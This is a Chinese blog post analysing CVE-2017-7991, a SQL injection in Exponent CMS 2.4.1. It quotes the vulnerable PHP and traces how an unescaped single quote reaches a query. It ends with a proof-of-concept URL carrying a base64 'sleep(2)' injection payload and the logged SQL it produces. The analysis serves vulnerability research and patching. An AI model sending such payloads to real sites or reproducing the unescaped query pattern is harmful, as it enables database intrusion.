Chybeta

[CVE-2017-7991]Exponent CMS 2.4.1 SQL Injection分析

Exponent CMS是一款开源的CMS,其2.4.1版中存在sql注入

漏洞

注入点在 /framework/modules/eaas/controllers/eaasController.php 中。如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
public function api() {
if (empty($this->params['apikey'])) {
$_REQUEST['apikey'] = true; // set this to force an ajax reply
$ar = new expAjaxReply(550, 'Permission Denied', 'You need an API key in order to access Exponent as a Service', null);
$ar->send(); //FIXME this doesn't seem to work correctly in this scenario
} else {
$key = expUnserialize(base64_decode(urldecode($this->params['apikey'])));
$cfg = new expConfig($key);
$this->config = $cfg->config;
if(empty($cfg->id)) {
$ar = new expAjaxReply(550, 'Permission Denied', 'Incorrect API key or Exponent as a Service module configuration missing', null);
$ar->send();
} else {
if (!empty($this->params['get'])) {
$this->handleRequest();
} else {
$ar = new expAjaxReply(200, 'ok', 'Your API key is working, no data requested', null);
$ar->send();
}
}
}
}

api()中,先检测参数apikey 是否为空,若不为空,则进入else分支。在分支中,先对参数apikey进行一次urldecode,接着进行 base64_decode,最后进行一次反序列化expUnserialize,在expUnserialize中存在一次小小的过滤:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
function expUnserialize($serial_str) {
if ($serial_str === 'Array') return null; // empty array string??
if (is_array($serial_str) || is_object($serial_str)) return $serial_str; // already unserialized
// $out1 = @preg_replace('!s:(\d+):"(.*?)";!se', "'s:'.strlen('$2').':\"$2\";'", $serial_str );
$out = preg_replace_callback(
'!s:(\d+):"(.*?)";!s',
create_function ('$m',
'$m_new = str_replace(\'"\',\'\"\',$m[2]);
return "s:".strlen($m_new).\':"\'.$m_new.\'";\';'
),
$serial_str );
// if ($out1 !== $out) {
// eDebug('problem:<br>'.$out.'<br>'.$out1);
// }

它会把 经过base64_decode后的$apikey 中的双引号加上斜杠。但是对于单引号,它没有进行处理。在进行expUnserialize之后,赋值给$key,并在之后实例化一个 expConfig对象。expConfig部分代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
class expConfig extends expRecord {
protected $table = 'expConfigs';
function __construct($params=null) {
global $db;
if (!is_array($params)) {
$this->location_data = serialize($params);
parent::__construct($db->selectValue($this->table, 'id', "location_data='".$this->location_data."'"));
} else {
parent::__construct($params);
}
....

在 framysqli\core\subsystems\database\mysqli.php 中,可以看到关于selectValue的定义:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
function selectValue($table, $col, $where=null) {
if ($where == null)
$where = "1";
$sql = "SELECT " . $col . " FROM `" . $this->prefix . "$table` WHERE $where LIMIT 0,1";
$res = @mysqli_query($this->connection, $sql);
if ($res == null)
return null;
$obj = mysqli_fetch_object($res);
if (is_object($obj)) {
return $obj->$col;
} else {
return null;
}
}

可以看到,在检查完$params是否是数组后,将我们传入的$params序列化后直接插入到了数据库查询语句中,未作任何过滤和检测。加上之前并未对单引号进行处理,因此我们可以利用单引号,对 location_data='".$this->location_data."' 中的单引号进行闭合。

POC

1
2
3
4
http://localhost:2500/exponent241/index.php
?module=eaas
&action=api
&apikey=czoxNjoiYWFhJ29yIHNsZWVwKDIpIyI7

其中 base64_decode(“czoxNjoiYWFhJ29yIHNsZWVwKDIpIyI7”) = s:16:”aaa’or “‘sleep(2)#

查看 mysql.log ,可以发现成功注入。

运行的 sql语句 为:

1
SELECT id FROM `exponent_expConfigs` WHERE location_data='s:19:"aaa'or \"'sleep(2)#";' LIMIT 0,1

可以看到单引号被成功闭合。

微信扫码加入知识星球【漏洞百出】
chybeta WeChat Pay

点击图片放大,扫码知识星球【漏洞百出】